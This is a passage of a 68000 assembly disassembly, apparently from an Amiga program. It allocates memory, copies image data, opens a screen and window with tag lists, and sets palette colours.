ADD.L D1,D3 ;06FA: D681
LSR.L #5,D3 ;06FC: EA8B
ASL.L #5,D3 ;06FE: EB83
MOVE.L D0,76(A7) ;0700: 2F40004C
MOVE.L D6,52(A7) ;0704: 2F460034
MOVE.L D3,68(A7) ;0708: 2F430044
MOVEQ #1,D1 ;070C: 7201
CMP.L 4(A5),D1 ;070E: B2AD0004
BNE.S LAB_0065 ;0712: 6606
MOVE.L 792(A5),D7 ;0714: 2E2D0318
BRA.S LAB_0066 ;0718: 6004
LAB_0065:
MOVEQ #0,D7 ;071A: 7E00
MOVE (A2),D7 ;071C: 3E12
LAB_0066:
MOVE.L 16(A5),D0 ;071E: 202D0010
MOVE.L D7,48(A7) ;0722: 2F470030
MOVEQ #0,D1 ;0726: 7200
BSET D0,D1 ;0728: 01C1
MOVE.L D1,-(A7) ;072A: 2F01
MOVE.L (A3),-(A7) ;072C: 2F13
MOVE.L A5,-(A7) ;072E: 2F0D
BSR LAB_008E ;0730: 6100051E
LEA 12(A7),A7 ;0734: 4FEF000C
MOVEQ #1,D0 ;0738: 7001
CMP.L 4(A5),D0 ;073A: B0AD0004
BNE LAB_006F ;073E: 660000A4
MOVEQ #0,D0 ;0742: 7000
MOVE (A2),D0 ;0744: 3012
CMP.L D7,D0 ;0746: B087
BNE.S LAB_0069 ;0748: 6632
MOVE.L D5,D0 ;074A: 2005
MOVE.L D7,D1 ;074C: 2207
MOVEA.L 160(A4),A0 ;074E: 206C00A0
JSR -144(A0) ;0752: 4EA8FF70
MOVE.L D0,D5 ;0756: 2A00
MOVEQ #0,D7 ;0758: 7E00
MOVEA.L 60(A7),A5 ;075A: 2A6F003C
BRA.S LAB_0068 ;075E: 6016
LAB_0067:
MOVEA.L A5,A0 ;0760: 204D
MOVEA.L 8(A2),A1 ;0762: 226A0008
MOVE.L D5,D0 ;0766: 2005
MOVEA.L (ABSEXECBASE).W,A6 ;0768: 2C780004
JSR -624(A6) ;076C: 4EAEFD90
ADDQ.L #1,D7 ;0770: 5287
ADDA.L D5,A5 ;0772: DBC5
ADDQ.L #4,A2 ;0774: 588A
LAB_0068:
CMP.L D6,D7 ;0776: BE86
BCS.S LAB_0067 ;0778: 65E6
BRA.S LAB_006F ;077A: 6068
LAB_0069:
MOVEQ #0,D4 ;077C: 7800
MOVE (A2),D4 ;077E: 3812
CMP.L D7,D4 ;0780: B887
BCC.S LAB_006A+2 ;0782: 6404
MOVE.L D4,D6 ;0784: 2C04
LAB_006A:
CMPI #$2C07,D0 ;0786: 0C402C07
MOVE.L 56(A7),D0 ;078A: 202F0038
MOVE.L D7,D1 ;078E: 2207
MOVEA.L 160(A4),A0 ;0790: 206C00A0
JSR -144(A0) ;0794: 4EA8FF70
MOVEQ #0,D5 ;0798: 7A00
MOVEA.L A2,A3 ;079A: 264A
MOVE.L D0,44(A7) ;079C: 2F40002C
BRA.S LAB_006E ;07A0: 603C
LAB_006B:
MOVE.L 44(A7),D0 ;07A2: 202F002C
MOVE.L D5,D1 ;07A6: 2205
MOVEA.L 160(A4),A0 ;07A8: 206C00A0
JSR -144(A0) ;07AC: 4EA8FF70
MOVEA.L 60(A7),A5 ;07B0: 2A6F003C
ADDA.L D0,A5 ;07B4: DBC0
MOVEA.L 8(A3),A2 ;07B6: 246B0008
MOVEQ #0,D7 ;07BA: 7E00
BRA.S LAB_006D ;07BC: 6016
LAB_006C:
MOVEA.L A5,A0 ;07BE: 204D
MOVEA.L A2,A1 ;07C0: 224A
MOVE.L D6,D0 ;07C2: 2006
MOVEA.L (ABSEXECBASE).W,A6 ;07C4: 2C780004
JSR -624(A6) ;07C8: 4EAEFD90
ADDA.L 48(A7),A5 ;07CC: DBEF0030
ADDA.L D4,A2 ;07D0: D5C4
ADDQ.L #1,D7 ;07D2: 5287
LAB_006D:
CMP.L 56(A7),D7 ;07D4: BEAF0038
BCS.S LAB_006C ;07D8: 65E4
ADDQ.L #1,D5 ;07DA: 5285
ADDQ.L #4,A3 ;07DC: 588B
LAB_006E:
CMP.L 52(A7),D5 ;07DE: BAAF0034
BCS.S LAB_006B ;07E2: 65BE
LAB_006F:
MOVEQ #2,D0 ;07E4: 7002
MOVEA.L 72(A7),A0 ;07E6: 206F0048
CMP.L 4(A0),D0 ;07EA: B0A80004
BNE LAB_0081 ;07EE: 6600017C
MOVE.L 52(A7),D6 ;07F2: 2C2F0034
MOVEQ #8,D0 ;07F6: 7008
CMP.L D0,D6 ;07F8: BC80
BHI LAB_0080+2 ;07FA: 6200016A
MOVE.L 68(A7),D4 ;07FE: 282F0044
MOVE.L D4,D0 ;0802: 2004
MOVE.L #$00010001,D1 ;0804: 223C00010001
MOVEA.L (ABSEXECBASE).W,A6 ;080A: 2C780004
JSR -684(A6) ;080E: 4EAEFD54
MOVEA.L D0,A3 ;0812: 2640
TST.L D0 ;0814: 4A80
BEQ LAB_007F ;0816: 6700014A
MOVEQ #100,D0 ;081A: 7064
MOVE.L #$00010001,D1 ;081C: 223C00010001
JSR -684(A6) ;0822: 4EAEFD54
MOVEA.L D0,A2 ;0826: 2440
TST.L D0 ;0828: 4A80
BEQ LAB_007D ;082A: 67000124
MOVEA.L A2,A1 ;082E: 224A
MOVEA.L 156(A4),A6 ;0830: 2C6C009C
JSR -198(A6) ;0834: 4EAEFF3A
MOVEQ #40,D0 ;0838: 7028
MOVE.L #$00010001,D1 ;083A: 223C00010001
MOVEA.L (ABSEXECBASE).W,A6 ;0840: 2C780004
JSR -684(A6) ;0844: 4EAEFD54
MOVE.L D0,4(A2) ;0848: 25400004
BEQ LAB_007B ;084C: 670000F0
MOVEA.L D0,A0 ;0850: 2040
MOVE.L D6,D0 ;0852: 2006
MOVE.L D4,D1 ;0854: 2204
MOVEA.L 156(A4),A6 ;0856: 2C6C009C
MOVEQ #1,D2 ;085A: 7401
JSR -390(A6) ;085C: 4EAEFE7A
MOVEQ #0,D5 ;0860: 7A00
MOVEQ #0,D7 ;0862: 7E00
BRA.S LAB_0072 ;0864: 602E
LAB_0070:
MOVEA.L 4(A2),A5 ;0866: 2A6A0004
ADDA.L D7,A5 ;086A: DBC7
MOVE.L D4,D0 ;086C: 2004
MOVEA.L 156(A4),A6 ;086E: 2C6C009C
MOVEQ #1,D1 ;0872: 7201
JSR -492(A6) ;0874: 4EAEFE14
MOVE.L D0,8(A5) ;0878: 2B400008
MOVEA.L 4(A2),A0 ;087C: 206A0004
ADDA.L D7,A0 ;0880: D1C7
TST.L 8(A0) ;0882: 4AA80008
BNE.S LAB_0071 ;0886: 6608
MOVEQ #3,D0 ;0888: 7003
MOVE.L D0,100(A7) ;088A: 2F400064
BRA.S LAB_0073 ;088E: 6008
LAB_0071:
ADDQ.L #1,D5 ;0890: 5285
ADDQ.L #4,D7 ;0892: 5887
LAB_0072:
CMP.L D6,D5 ;0894: BA86
BCS.S LAB_0070 ;0896: 65CE
LAB_0073:
TST.L 100(A7) ;0898: 4AAF0064
BNE.S LAB_0078 ;089C: 666A
MOVEA.L 60(A7),A5 ;089E: 2A6F003C
MOVEQ #0,D7 ;08A2: 7E00
MOVE.L 76(A7),D6 ;08A4: 2C2F004C
MOVE.L 56(A7),D5 ;08A8: 2A2F0038
TST.L 306(A4) ;08AC: 4AAC0132
BEQ.S LAB_0077 ;08B0: 6752
BRA.S LAB_0075 ;08B2: 601E
LAB_0074:
MOVE.L A2,-(A7) ;08B4: 2F0A
MOVEA.L A2,A1 ;08B6: 224A
MOVEA.L 68(A7),A0 ;08B8: 206F0044
MOVE.L D7,D1 ;08BC: 2207
MOVE.L D6,D2 ;08BE: 2406
MOVEA.L A5,A2 ;08C0: 244D
MOVEA.L 156(A4),A6 ;08C2: 2C6C009C
MOVEQ #0,D0 ;08C6: 7000
JSR -774(A6) ;08C8: 4EAEFCFA
MOVEA.L (A7)+,A2 ;08CC: 245F
ADDQ.L #1,D7 ;08CE: 5287
ADDA.L D2,A5 ;08D0: DBC2
LAB_0075:
CMP.L D5,D7 ;08D2: BE85
BCS.S LAB_0074 ;08D4: 65DE
BRA.S LAB_0078 ;08D6: 6030
LAB_0076:
MOVEA.L A5,A0 ;08D8: 204D
MOVEA.L A3,A1 ;08DA: 224B
MOVE.L D6,D0 ;08DC: 2006
MOVEA.L (ABSEXECBASE).W,A6 ;08DE: 2C780004
JSR -624(A6) ;08E2: 4EAEFD90
MOVE.L A2,-(A7) ;08E6: 2F0A
MOVEA.L A2,A1 ;08E8: 224A
MOVEA.L 68(A7),A0 ;08EA: 206F0044
MOVE.L D7,D1 ;08EE: 2207
MOVE.L D6,D2 ;08F0: 2406
MOVEA.L A3,A2 ;08F2: 244B
MOVEA.L 156(A4),A6 ;08F4: 2C6C009C
MOVEQ #0,D0 ;08F8: 7000
JSR -774(A6) ;08FA: 4EAEFCFA
MOVEA.L (A7)+,A2 ;08FE: 245F
ADDQ.L #1,D7 ;0900: 5287
ADDA.L D2,A5 ;0902: DBC2
LAB_0077:
CMP.L D5,D7 ;0904: BE85
BCS.S LAB_0076 ;0906: 65D0
LAB_0078:
MOVEQ #0,D7 ;0908: 7E00
MOVEQ #0,D5 ;090A: 7A00
LAB_0079:
MOVEA.L 4(A2),A0 ;090C: 206A0004
ADDA.L D5,A0 ;0910: D1C5
MOVE.L 8(A0),D0 ;0912: 20280008
BEQ.S LAB_007A ;0916: 670E
MOVEA.L D0,A0 ;0918: 2040
MOVE.L D4,D0 ;091A: 2004
MOVEA.L 156(A4),A6 ;091C: 2C6C009C
MOVEQ #1,D1 ;0920: 7201
JSR -498(A6) ;0922: 4EAEFE0E
LAB_007A:
ADDQ.L #1,D7 ;0926: 5287
ADDQ.L #4,D5 ;0928: 5885
MOVEQ #8,D0 ;092A: 7008
CMP.L D0,D7 ;092C: BE80
BCS.S LAB_0079 ;092E: 65DC
MOVEA.L 4(A2),A1 ;0930: 226A0004
MOVEA.L (ABSEXECBASE).W,A6 ;0934: 2C780004
JSR -690(A6) ;0938: 4EAEFD4E
BRA.S LAB_007C ;093C: 6006
LAB_007B:
MOVEQ #3,D0 ;093E: 7003
MOVE.L D0,100(A7) ;0940: 2F400064
LAB_007C:
MOVEA.L A2,A1 ;0944: 224A
MOVEA.L (ABSEXECBASE).W,A6 ;0946: 2C780004
JSR -690(A6) ;094A: 4EAEFD4E
BRA.S LAB_007E ;094E: 6006
LAB_007D:
MOVEQ #3,D0 ;0950: 7003
MOVE.L D0,100(A7) ;0952: 2F400064
LAB_007E:
MOVEA.L A3,A1 ;0956: 224B
MOVEA.L (ABSEXECBASE).W,A6 ;0958: 2C780004
JSR -690(A6) ;095C: 4EAEFD4E
BRA.S LAB_0081 ;0960: 600A
LAB_007F:
MOVEQ #3,D0 ;0962: 7003
LAB_0080:
CMPI #$700F,D0 ;0964: 0C40700F
MOVE.L D0,100(A7) ;0968: 2F400064
LAB_0081:
MOVEA.L 80(A7),A5 ;096C: 2A6F0050
MOVE.L A5,-(A7) ;0970: 2F0D
BSR LAB_00C6 ;0972: 610008D6
MOVE.L A5,(A7) ;0976: 2E8D
BSR LAB_00B7 ;0978: 61000738
MOVEA.L (A5),A0 ;097C: 2055
MOVEA.L 152(A4),A6 ;097E: 2C6C0098
JSR -252(A6) ;0982: 4EAEFF04
ADDQ #4,A7 ;0986: 584F
MOVE.L 100(A7),D0 ;0988: 202F0064
LAB_0082:
MOVEM.L (A7)+,D2-D7/A2-A6 ;098C: 4CDF7CFC
ADDA #$003C,A7 ;0990: DEFC003C
RTS ;0994: 4E75
LAB_0083:
SUBQ #8,A7 ;0996: 514F
MOVEM.L D2/D4-D7/A4-A6,-(A7) ;0998: 48E72F0E
MOVEA.L 48(A7),A0 ;099C: 206F0030
MOVEA.L 44(A7),A5 ;09A0: 2A6F002C
LEA SECSTRT_1,A4 ;09A4: 49F900001618
MOVE.L A0,D0 ;09AA: 2008
BEQ LAB_008D ;09AC: 6700029A
LEA 8(A0),A6 ;09B0: 4DE80008
MOVE.L (A6)+,D7 ;09B4: 2E1E
MOVE.L (A6)+,D6 ;09B6: 2C1E
MOVE.L (A6)+,D5 ;09B8: 2A1E
MOVE.L D0,-(A7) ;09BA: 2F00
BSR LAB_00A2 ;09BC: 61000494
ADDQ #4,A7 ;09C0: 584F
MOVE.L D0,D4 ;09C2: 2800
TST.L 8(A5) ;09C4: 4AAD0008
BNE.S LAB_0084 ;09C8: 6608
MOVE.L #$0000010F,8(A5) ;09CA: 2B7C0000010F0008
LAB_0084:
TST.L 16(A5) ;09D2: 4AAD0010
BNE.S LAB_0085 ;09D6: 6608
MOVE.L #$00200008,16(A5) ;09D8: 2B7C002000080010
LAB_0085:
TST.L 12(A5) ;09E0: 4AAD000C
BNE.S LAB_0086 ;09E4: 6608
MOVE.L #$00030940,12(A5) ;09E6: 2B7C00030940000C
LAB_0086:
MOVEA.L D4,A0 ;09EE: 2044
LEA 32(A7),A1 ;09F0: 43EF0020
MOVEA.L 152(A4),A6 ;09F4: 2C6C0098
MOVEQ #1,D0 ;09F8: 7001
JSR -474(A6) ;09FA: 4EAEFE26
TST.L D0 ;09FE: 4A80
BNE.S LAB_0087 ;0A00: 6614
CLR 32(A7) ;0A02: 426F0020
MOVE.L D7,D0 ;0A06: 2007
MOVE D0,36(A7) ;0A08: 3F400024
CLR 34(A7) ;0A0C: 426F0022
MOVE.L D6,D1 ;0A10: 2206
MOVE D1,38(A7) ;0A12: 3F410026
LAB_0087:
MOVEA.L 144(A4),A0 ;0A16: 206C0090
CMPI #$0027,20(A0) ;0A1A: 0C6800270014
BCC LAB_0088 ;0A20: 64000080
CLR.L -(A7) ;0A24: 42A7
PEA (1).W ;0A26: 48780001
MOVE.L #$80000037,-(A7) ;0A2A: 2F3C80000037
PEA 44(A7) ;0A30: 486F002C
MOVE.L #$80000033,-(A7) ;0A34: 2F3C80000033
PEA (1).W ;0A3A: 48780001
MOVE.L #$80000039,-(A7) ;0A3E: 2F3C80000039
PEA LAB_0045(PC) ;0A44: 487AFA70
MOVE.L #$80000028,-(A7) ;0A48: 2F3C80000028
MOVE.L D4,-(A7) ;0A4E: 2F04
MOVE.L #$80000032,-(A7) ;0A50: 2F3C80000032
MOVE.L 8(A5),-(A7) ;0A56: 2F2D0008
MOVE.L #$8000002D,-(A7) ;0A5A: 2F3C8000002D
PEA 312(A4) ;0A60: 486C0138
MOVE.L #$8000002B,-(A7) ;0A64: 2F3C8000002B
MOVE.L D5,-(A7) ;0A6A: 2F05
MOVE.L #$80000025,-(A7) ;0A6C: 2F3C80000025
MOVE.L D6,-(A7) ;0A72: 2F06
MOVE.L #$80000024,-(A7) ;0A74: 2F3C80000024
MOVE.L D7,-(A7) ;0A7A: 2F07
MOVE.L #$80000023,-(A7) ;0A7C: 2F3C80000023
CLR.L -(A7) ;0A82: 42A7
MOVE.L #$80000022,-(A7) ;0A84: 2F3C80000022
CLR.L -(A7) ;0A8A: 42A7
MOVE.L #$80000021,-(A7) ;0A8C: 2F3C80000021
SUBA.L A0,A0 ;0A92: 91C8
MOVEA.L A7,A1 ;0A94: 224F
JSR -612(A6) ;0A96: 4EAEFD9C
LEA 100(A7),A7 ;0A9A: 4FEF0064
BRA LAB_0089 ;0A9E: 60000084
LAB_0088:
MOVEA #$0001,A0 ;0AA2: 307C0001
CLR.L -(A7) ;0AA6: 42A7
MOVE.L A0,-(A7) ;0AA8: 2F08
MOVE.L #$80000041,-(A7) ;0AAA: 2F3C80000041
MOVE.L A0,-(A7) ;0AB0: 2F08
MOVE.L #$80000037,-(A7) ;0AB2: 2F3C80000037
PEA 52(A7) ;0AB8: 486F0034
MOVE.L #$80000033,-(A7) ;0ABC: 2F3C80000033
MOVE.L A0,-(A7) ;0AC2: 2F08
MOVE.L #$80000039,-(A7) ;0AC4: 2F3C80000039
PEA LAB_0045(PC) ;0ACA: 487AF9EA
MOVE.L #$80000028,-(A7) ;0ACE: 2F3C80000028
MOVE.L D4,-(A7) ;0AD4: 2F04
MOVE.L #$80000032,-(A7) ;0AD6: 2F3C80000032
MOVE.L 8(A5),-(A7) ;0ADC: 2F2D0008
MOVE.L #$8000002D,-(A7) ;0AE0: 2F3C8000002D
PEA 312(A4) ;0AE6: 486C0138
MOVE.L #$8000002B,-(A7) ;0AEA: 2F3C8000002B
MOVE.L D5,-(A7) ;0AF0: 2F05
MOVE.L #$80000025,-(A7) ;0AF2: 2F3C80000025
MOVE.L D6,-(A7) ;0AF8: 2F06
MOVE.L #$80000024,-(A7) ;0AFA: 2F3C80000024
MOVE.L D7,-(A7) ;0B00: 2F07
MOVE.L #$80000023,-(A7) ;0B02: 2F3C80000023
CLR.L -(A7) ;0B08: 42A7
MOVE.L #$80000022,-(A7) ;0B0A: 2F3C80000022
CLR.L -(A7) ;0B10: 42A7
MOVE.L #$80000021,-(A7) ;0B12: 2F3C80000021
SUBA.L A0,A0 ;0B18: 91C8
MOVEA.L A7,A1 ;0B1A: 224F
JSR -612(A6) ;0B1C: 4EAEFD9C
LEA 108(A7),A7 ;0B20: 4FEF006C
LAB_0089:
MOVE.L D0,(A5) ;0B24: 2A80
BEQ LAB_008D ;0B26: 67000120
MOVEA.L 144(A4),A0 ;0B2A: 206C0090
CMPI #$0027,20(A0) ;0B2E: 0C6800270014
BCC.S LAB_008A ;0B34: 6474
MOVEA.L D0,A0 ;0B36: 2040
MOVE 12(A0),D1 ;0B38: 3228000C
EXT.L D1 ;0B3C: 48C1
MOVE 14(A0),D2 ;0B3E: 3428000E
EXT.L D2 ;0B42: 48C2
CLR.L -(A7) ;0B44: 42A7
CLR.L -(A7) ;0B46: 42A7
MOVE.L D0,-(A7) ;0B48: 2F00
MOVE.L #$80000070,-(A7) ;0B4A: 2F3C80000070
MOVE.L 12(A5),-(A7) ;0B50: 2F2D000C
MOVE.L #$8000006B,-(A7) ;0B54: 2F3C8000006B
MOVE.L 16(A5),-(A7) ;0B5A: 2F2D0010
MOVE.L #$8000006A,-(A7) ;0B5E: 2F3C8000006A
PEA (2).W ;0B64: 48780002
MOVE.L #$80000069,-(A7) ;0B68: 2F3C80000069
PEA (1).W ;0B6E: 48780001
MOVE.L #$80000068,-(A7) ;0B72: 2F3C80000068
MOVE.L D2,-(A7) ;0B78: 2F02
MOVE.L #$80000067,-(A7) ;0B7A: 2F3C80000067
MOVE.L D1,-(A7) ;0B80: 2F01
MOVE.L #$80000066,-(A7) ;0B82: 2F3C80000066
CLR.L -(A7) ;0B88: 42A7
MOVE.L #$80000065,-(A7) ;0B8A: 2F3C80000065
CLR.L -(A7) ;0B90: 42A7
MOVE.L #$80000064,-(A7) ;0B92: 2F3C80000064
MOVEA.L 152(A4),A6 ;0B98: 2C6C0098
SUBA.L A0,A0 ;0B9C: 91C8
MOVEA.L A7,A1 ;0B9E: 224F
JSR -606(A6) ;0BA0: 4EAEFDA2
LEA 80(A7),A7 ;0BA4: 4FEF0050
BRA.S LAB_008B ;0BA8: 607C
LAB_008A:
MOVEA.L D0,A0 ;0BAA: 2040
MOVE 12(A0),D1 ;0BAC: 3228000C
EXT.L D1 ;0BB0: 48C1
MOVE 14(A0),D2 ;0BB2: 3428000E
EXT.L D2 ;0BB6: 48C2
MOVEA #$0001,A1 ;0BB8: 327C0001
CLR.L -(A7) ;0BBC: 42A7
CLR.L -(A7) ;0BBE: 42A7
MOVE.L A1,-(A7) ;0BC0: 2F09
MOVE.L #$8000007F,-(A7) ;0BC2: 2F3C8000007F
MOVE.L D0,-(A7) ;0BC8: 2F00
MOVE.L #$80000070,-(A7) ;0BCA: 2F3C80000070
MOVE.L 12(A5),-(A7) ;0BD0: 2F2D000C
MOVE.L #$8000006B,-(A7) ;0BD4: 2F3C8000006B
MOVE.L 16(A5),-(A7) ;0BDA: 2F2D0010
MOVE.L #$8000006A,-(A7) ;0BDE: 2F3C8000006A
PEA (2).W ;0BE4: 48780002
MOVE.L #$80000069,-(A7) ;0BE8: 2F3C80000069
MOVE.L A1,-(A7) ;0BEE: 2F09
MOVE.L #$80000068,-(A7) ;0BF0: 2F3C80000068
MOVE.L D2,-(A7) ;0BF6: 2F02
MOVE.L #$80000067,-(A7) ;0BF8: 2F3C80000067
MOVE.L D1,-(A7) ;0BFE: 2F01
MOVE.L #$80000066,-(A7) ;0C00: 2F3C80000066
CLR.L -(A7) ;0C06: 42A7
MOVE.L #$80000065,-(A7) ;0C08: 2F3C80000065
CLR.L -(A7) ;0C0E: 42A7
MOVE.L #$80000064,-(A7) ;0C10: 2F3C80000064
MOVEA.L 152(A4),A6 ;0C16: 2C6C0098
SUBA.L A0,A0 ;0C1A: 91C8
MOVEA.L A7,A1 ;0C1C: 224F
JSR -606(A6) ;0C1E: 4EAEFDA2
LEA 88(A7),A7 ;0C22: 4FEF0058
LAB_008B:
MOVE.L D0,4(A5) ;0C26: 2B400004
BNE.S LAB_008C ;0C2A: 6610
MOVEA.L (A5),A0 ;0C2C: 2055
MOVEA.L 152(A4),A6 ;0C2E: 2C6C0098
JSR -66(A6) ;0C32: 4EAEFFBE
CLR.L (A5) ;0C36: 4295
MOVEQ #0,D0 ;0C38: 7000
BRA.S LAB_008D ;0C3A: 600C
LAB_008C:
MOVEA.L D0,A0 ;0C3C: 2040
MOVEA.L 152(A4),A6 ;0C3E: 2C6C0098
JSR -450(A6) ;0C42: 4EAEFE3E
MOVEQ #1,D0 ;0C46: 7001
LAB_008D:
MOVEM.L (A7)+,D2/D4-D7/A4-A6 ;0C48: 4CDF70F4
ADDQ #8,A7 ;0C4C: 504F
RTS ;0C4E: 4E75
LAB_008E:
SUBQ #8,A7 ;0C50: 514F
MOVEM.L D2-D7/A2-A6,-(A7) ;0C52: 48E73F3E
MOVE.L 64(A7),D7 ;0C56: 2E2F0040
MOVEA.L 56(A7),A2 ;0C5A: 246F0038
LEA SECSTRT_1,A4 ;0C5E: 49F900001618
MOVEA.L 60(A7),A3 ;0C64: 266F003C
MOVE.L A2,D0 ;0C68: 200A
BEQ LAB_0095 ;0C6A: 670000F2
MOVE.L A3,D0 ;0C6E: 200B
BEQ LAB_0095 ;0C70: 670000EC
ADDA #$002C,A3 ;0C74: D6FC002C
MOVEQ #64,D0 ;0C78: 7040
CMP.L D0,D7 ;0C7A: BE80
BNE.S LAB_008F ;0C7C: 6610
MOVE.L A2,-(A7) ;0C7E: 2F0A
BSR LAB_009F ;0C80: 61000198
ADDQ #4,A7 ;0C84: 584F
TST.L D0 ;0C86: 4A80
BEQ.S LAB_008F ;0C88: 6704
MOVEQ #32,D7 ;0C8A: 7E20
BRA.S LAB_0090 ;0C8C: 6014
LAB_008F:
MOVEQ #64,D0 ;0C8E: 7040
CMP.L D0,D7 ;0C90: BE80
BNE.S LAB_0090 ;0C92: 660E
MOVE.L A2,-(A7) ;0C94: 2F0A
BSR LAB_009C ;0C96: 6100014A
ADDQ #4,A7 ;0C9A: 584F
TST.L D0 ;0C9C: 4A80
BEQ.S LAB_0090 ;0C9E: 6702
MOVEQ #16,D7 ;0CA0: 7E10
LAB_0090:
MOVEQ #0,D6 ;0CA2: 7C00
MOVEA.L 144(A4),A0 ;0CA4: 206C0090
CMPI #$0027,20(A0) ;0CA8: 0C6800270014
BCC LAB_0094 ;0CAE: 640000AA
BRA.S LAB_0092 ;0CB2: 602C
LAB_0091:
LEA 24(A2),A5 ;0CB4: 4BEA0018
MOVE.B (A5)+,D0 ;0CB8: 101D
LSR.B #4,D0 ;0CBA: E808
MOVEQ #0,D1 ;0CBC: 7200
MOVE.B D0,D1 ;0CBE: 1200
MOVE.B (A5)+,D0 ;0CC0: 101D
LSR.B #4,D0 ;0CC2: E808
MOVEQ #0,D2 ;0CC4: 7400
MOVE.B D0,D2 ;0CC6: 1400
MOVE.B (A5)+,D0 ;0CC8: 101D
LSR.B #4,D0 ;0CCA: E808
MOVEQ #0,D3 ;0CCC: 7600
MOVE.B D0,D3 ;0CCE: 1600
MOVEA.L A3,A0 ;0CD0: 204B
MOVE.L D6,D0 ;0CD2: 2006
MOVEA.L 156(A4),A6 ;0CD4: 2C6C009C
JSR -288(A6) ;0CD8: 4EAEFEE0
ADDQ.L #1,D6 ;0CDC: 5286
ADDQ.L #3,A2 ;0CDE: 568A
LAB_0092:
CMP.L D7,D6 ;0CE0: BC87
BLT.S LAB_0091 ;0CE2: 6DD0
BRA.S LAB_0095 ;0CE4: 6078
LAB_0093:
MOVEQ #0,D0 ;0CE6: 7000
LEA 24(A2),A5 ;0CE8: 4BEA0018
MOVE.B (A5)+,D0 ;0CEC: 101D
MOVE.L D0,D1 ;0CEE: 2200
ASL.L #8,D1 ;0CF0: E181
MOVE.L D0,D2 ;0CF2: 2400
SWAP D2 ;0CF4: 4842
CLR D2 ;0CF6: 4242
MOVE.L D0,D3 ;0CF8: 2600
SWAP D3 ;0CFA: 4843
CLR D3 ;0CFC: 4243
ASL.L #8,D3 ;0CFE: E183
OR.L D2,D3 ;0D00: 8682
OR.L D1,D3 ;0D02: 8681
OR.L D3,D0 ;0D04: 8083
MOVEQ #0,D1 ;0D06: 7200
MOVE.B (A5)+,D1 ;0D08: 121D
MOVE.L D1,D2 ;0D0A: 2401
ASL.L #8,D2 ;0D0C: E182
MOVE.L D1,D3 ;0D0E: 2601
SWAP D3 ;0D10: 4843
CLR D3 ;0D12: 4243
MOVE.L D1,D4 ;0D14: 2801
SWAP D4 ;0D16: 4844
CLR D4 ;0D18: 4244
ASL.L #8,D4 ;0D1A: E184
OR.L D3,D4 ;0D1C: 8883
OR.L D2,D4 ;0D1E: 8882
OR.L D4,D1 ;0D20: 8284
MOVEQ #0,D2 ;0D22: 7400
MOVE.B (A5)+,D2 ;0D24: 141D
MOVE.L D2,D3 ;0D26: 2602
ASL.L #8,D3 ;0D28: E183
MOVE.L D2,D4 ;0D2A: 2802
SWAP D4 ;0D2C: 4844
CLR D4 ;0D2E: 4244
MOVE.L D2,D5 ;0D30: 2A02
SWAP D5 ;0D32: 4845
CLR D5 ;0D34: 4245
ASL.L #8,D5 ;0D36: E185
OR.L D4,D5 ;0D38: 8A84
OR.L D3,D5 ;0D3A: 8A83
OR.L D5,D2 ;0D3C: 8485
MOVE.L D1,48(A7) ;0D3E: 2F410030
MOVE.L D0,D1 ;0D42: 2200
MOVE.L D2,D3 ;0D44: 2602
MOVEA.L A3,A0 ;0D46: 204B
MOVE.L D6,D0 ;0D48: 2006
MOVE.L 48(A7),D2 ;0D4A: 242F0030
MOVEA.L 156(A4),A6 ;0D4E: 2C6C009C
JSR -852(A6) ;0D52: 4EAEFCAC
ADDQ.L #1,D6 ;0D56: 5286
ADDQ.L #3,A2 ;0D58: 568A
LAB_0094:
CMP.L D7,D6 ;0D5A: BC87
BLT.S LAB_0093 ;0D5C: 6D88
LAB_0095:
MOVEQ #0,D0 ;0D5E: 7000
MOVEM.L (A7)+,D2-D7/A2-A6 ;0D60: 4CDF7CFC
ADDQ #8,A7 ;0D64: 504F
RTS ;0D66: 4E75
LAB_0096:
MOVEM.L D2/D7/A4-A5,-(A7) ;0D68: 48E7210C
MOVEA.L 20(A7),A5 ;0D6C: 2A6F0014
LEA SECSTRT_1,A4 ;0D70: 49F900001618
MOVEQ #0,D7 ;0D76: 7E00
MOVE.L A5,-(A7) ;0D78: 2F0D
BSR LAB_009C ;0D7A: 61000066
ADDQ #4,A7 ;0D7E: 584F
TST.L D0 ;0D80: 4A80
BEQ.S LAB_0097 ;0D82: 670A
MOVEQ #6,D0 ;0D84: 7006
CMP.L 16(A5),D0 ;0D86: B0AD0010
BNE.S LAB_0097 ;0D8A: 6602
MOVEQ #1,D7 ;0D8C: 7E01
LAB_0097:
MOVE.L A5,-(A7) ;0D8E: 2F0D
BSR LAB_009F ;0D90: 61000088
ADDQ #4,A7 ;0D94: 584F
TST.L D0 ;0D96: 4A80
BEQ.S LAB_0098 ;0D98: 670C
MOVE.L 16(A5),D0 ;0D9A: 202D0010
MOVEQ #6,D1 ;0D9E: 7206
CMP.L D1,D0 ;0DA0: B081
BNE.S LAB_0098 ;0DA2: 6602
MOVEQ #1,D7 ;0DA4: 7E01
LAB_0098:
MOVE.L 16(A5),D0 ;0DA6: 202D0010
MOVEQ #5,D1 ;0DAA: 7205
CMP.L D1,D0 ;0DAC: B081
BNE.S LAB_0099 ;0DAE: 6608
MOVE.L 20(A5),D2 ;0DB0: 242D0014
BNE.S LAB_0099 ;0DB4: 6602
MOVEQ #1,D7 ;0DB6: 7E01
LAB_0099:
CMP.L D1,D0 ;0DB8: B081
BNE.S LAB_009A ;0DBA: 660E
MOVE.L 20(A5),D1 ;0DBC: 222D0014
CMPI.L #$00011000,D1 ;0DC0: 0C8100011000
BNE.S LAB_009A ;0DC6: 6602
MOVEQ #1,D7 ;0DC8: 7E01
LAB_009A:
SUBQ.L #5,D0 ;0DCA: 5B80
BNE.S LAB_009B ;0DCC: 660C
CMPI.L #$00021000,20(A5) ;0DCE: 0CAD000210000014
BNE.S LAB_009B ;0DD6: 6602
MOVEQ #1,D7 ;0DD8: 7E01
LAB_009B:
MOVE.L D7,D0 ;0DDA: 2007
MOVEM.L (A7)+,D2/D7/A4-A5 ;0DDC: 4CDF3084
RTS ;0DE0: 4E75
LAB_009C:
MOVEM.L D7/A4,-(A7) ;0DE2: 48E70108
MOVEA.L 12(A7),A0 ;0DE6: 206F000C
LEA SECSTRT_1,A4 ;0DEA: 49F900001618
MOVEQ #0,D7 ;0DF0: 7E00
CMPI.L #$00000001,(A0) ;0DF2: 0C9000000001
BLS.S LAB_009D ;0DF8: 630A
BTST #3,811(A0) ;0DFA: 08280003032B
BEQ.S LAB_009D ;0E00: 6702
MOVEQ #1,D7 ;0E02: 7E01
LAB_009D:
TST.L D7 ;0E04: 4A87
BNE.S LAB_009E ;0E06: 660A
BTST #3,22(A0) ;0E08: 082800030016
BEQ.S LAB_009E ;0E0E: 6702
